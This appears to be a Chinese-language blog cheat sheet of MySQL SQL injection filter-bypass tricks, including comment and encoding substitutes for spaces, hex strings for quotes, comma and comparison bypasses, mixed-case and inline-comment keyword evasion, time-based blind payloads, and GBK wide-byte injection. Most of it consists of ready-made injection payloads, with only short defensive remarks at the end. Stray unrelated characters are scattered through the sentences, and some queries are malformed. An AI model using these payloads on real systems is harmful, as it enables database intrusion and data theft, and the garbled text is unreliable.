1.繞過(guò)空格(注釋符/* */,%a0):
兩個(gè)空格代替一個(gè)空格茶鉴,用Tab代替空格搜吧,%a0=空格:
%20 %09 %0a %0b %0c %0d %a0 %00 // /!/
最基本的繞過(guò)方法,用注釋替換空格:
/* 注釋 */
使用浮點(diǎn)數(shù):
select * from users where id=8E0union select 1,2,3
select * from users where id=8.0 select 1,2,3
2.括號(hào)繞過(guò)空格:
如果空格被過(guò)濾,括號(hào)沒(méi)有被過(guò)濾肛冶,可以用括號(hào)繞過(guò)。
在MySQL中扯键,括號(hào)是用來(lái)包圍子查詢的睦袖。因此,任何可以計(jì)算出結(jié)果的語(yǔ)句荣刑,都可以用括號(hào)包圍起來(lái)馅笙。而括號(hào)的兩端,可以沒(méi)有多余的空格厉亏。
例如:
select(user())from dual where(1=1)and(2=2)
這種過(guò)濾方法常常用于time based盲注,例如:
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
(from for屬于逗號(hào)繞過(guò)下面會(huì)有)
上面的方法既沒(méi)有逗號(hào)也沒(méi)有空格董习。猜解database()第一個(gè)字符ascii碼是否為109,若是則加載延時(shí)爱只。
3.引號(hào)繞過(guò)(使用十六進(jìn)制):
會(huì)使用到引號(hào)的地方一般是在最后的where子句中皿淋。如下面的一條sql語(yǔ)句,這條語(yǔ)句就是一個(gè)簡(jiǎn)單的用來(lái)查選得到users表中所有字段的一條語(yǔ)句:
select column_name from information_schema.tables where table_name="users"
這個(gè)時(shí)候如果引號(hào)被過(guò)濾了虱颗,那么上面的where子句就無(wú)法使用了沥匈。那么遇到這樣的問(wèn)題就要使用十六進(jìn)制來(lái)處理這個(gè)問(wèn)題了。
users的十六進(jìn)制的字符串是7573657273忘渔。那么最后的sql語(yǔ)句就變?yōu)榱耍?/p>
select column_name from information_schema.tables where table_name=0x7573657273
4.逗號(hào)繞過(guò)(使用from或者offset):
在使用盲注的時(shí)候高帖,需要使用到substr(),mid(),limit。這些子句方法都需要使用到逗號(hào)畦粮。對(duì)于substr()和mid()這兩個(gè)方法可以使用from to的方式來(lái)解決:
select substr(database(0 from 1 for 1);
select mid(database(0 from 1 for 1);
使用join:
union select 1,2 #等價(jià)于
union select * from (select 1)a join (select 2)b
使用like:
select ascii(mid(user(),1,1))=80 #等價(jià)于
select user() like 'r%'
對(duì)于limit可以使用offset來(lái)繞過(guò):
select * from news limit 0,1
等價(jià)于下面這條SQL語(yǔ)句
select * from news limit 1 offset 0
5.比較符號(hào)(<>)繞過(guò)(過(guò)濾了<>:sqlmap盲注經(jīng)常使用<>散址,使用between的腳本):
使用greatest()、least():(前者返回最大值宣赔,后者返回最小值)
同樣是在使用盲注的時(shí)候预麸,在使用二分查找的時(shí)候需要使用到比較操作符來(lái)進(jìn)行查找。如果無(wú)法使用比較操作符儒将,那么就需要使用到greatest來(lái)進(jìn)行繞過(guò)了吏祸。
最常見(jiàn)的一個(gè)盲注的sql語(yǔ)句:
select * from users where id=1 and ascii(substr(database(),0,1))>64
此時(shí)如果比較操作符被過(guò)濾,上面的盲注語(yǔ)句則無(wú)法使用,那么就可以使用greatest來(lái)代替比較操作符了钩蚊。greatest(n1,n2,n3,...)函數(shù)返回輸入?yún)?shù)(n1,n2,n3,...)的最大值贡翘。
那么上面的這條sql語(yǔ)句可以使用greatest變?yōu)槿缦碌淖泳?
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
使用between and:
between a and b:返回a,b之間的數(shù)據(jù)砰逻,不包含b鸣驱。
6.or and xor not繞過(guò):
and=&& or=|| xor=| not=!
7.繞過(guò)注釋符號(hào)(#,--(后面跟一個(gè)空格))過(guò)濾:
id=1' union select 1,2,3||'1
最后的or '1閉合查詢語(yǔ)句的最后的單引號(hào)蝠咆,或者:
id=1' union select 1,2,'3
8.=繞過(guò):
使用like 踊东、rlike 北滥、regexp 或者 使用< 或者 >
9.繞過(guò)union,select闸翅,where等:
(1)使用注釋符繞過(guò):
常用注釋符:
//再芋,-- , /**/, #, --+, -- -, ;,%00,--a
用法:
U// NION // SE// LECT //user,pwd from user
(2)使用大小寫繞過(guò):
id=-1'UnIoN/**/SeLeCT
(3)內(nèi)聯(lián)注釋繞過(guò):
id=-1'/!UnIoN/ SeLeCT 1,2,concat(/!table_name/) FrOM /information_schema/.tables /!WHERE //!TaBlE_ScHeMa/ like database()#
(4) 雙關(guān)鍵字繞過(guò)(若刪除掉第一個(gè)匹配的union就能繞過(guò)):
id=-1'UNIunionONSeLselectECT1,2,3–-
10.通用繞過(guò)(編碼):
如URLEncode編碼缎脾,ASCII,HEX,unicode編碼繞過(guò):
or 1=1即%6f%72%20%31%3d%31祝闻,而Test也可以為CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)占卧。
11.等價(jià)函數(shù)繞過(guò):
復(fù)制代碼
hex()遗菠、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
舉例:substring()和substr()無(wú)法使用時(shí):?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
復(fù)制代碼
12.寬字節(jié)注入:
過(guò)濾 ' 的時(shí)候往往利用的思路是將 ' 轉(zhuǎn)換為 ' 华蜒。
在 mysql 中使用 GBK 編碼的時(shí)候辙纬,會(huì)認(rèn)為兩個(gè)字符為一個(gè)漢字,一般有兩種思路:
(1)%df 吃掉 \ 具體的方法是 urlencode(') = %5c%27叭喜,我們?cè)?%5c%27 前面添加 %df 贺拣,形成 %df%5c%27 ,而 mysql 在 GBK 編碼方式的時(shí)候會(huì)將兩個(gè)字節(jié)當(dāng)做一個(gè)漢字捂蕴,%df%5c 就是一個(gè)漢字譬涡,%27 作為一個(gè)單獨(dú)的(')符號(hào)在外面:
id=-1%df%27union select 1,user(),3--+
(2)將 ' 中的 \ 過(guò)濾掉啥辨,例如可以構(gòu)造 %**%5c%5c%27 涡匀,后面的 %5c 會(huì)被前面的 %5c 注釋掉。
一般產(chǎn)生寬字節(jié)注入的PHP函數(shù):
1.replace():過(guò)濾 ' \ 溉知,將 ' 轉(zhuǎn)化為 ' 陨瘩,將 \ 轉(zhuǎn)為 \,將 " 轉(zhuǎn)為 " 级乍。用思路一舌劳。
2.addslaches():返回在預(yù)定義字符之前添加反斜杠(\)的字符串。預(yù)定義字符:' , " , \ 玫荣。用思路一
(防御此漏洞甚淡,要將 mysql_query 設(shè)置為 binary 的方式)
3.mysql_real_escape_string():轉(zhuǎn)義下列字符:
\x00 \n \r \ ' " \x1a
(防御,將mysql設(shè)置為gbk即可)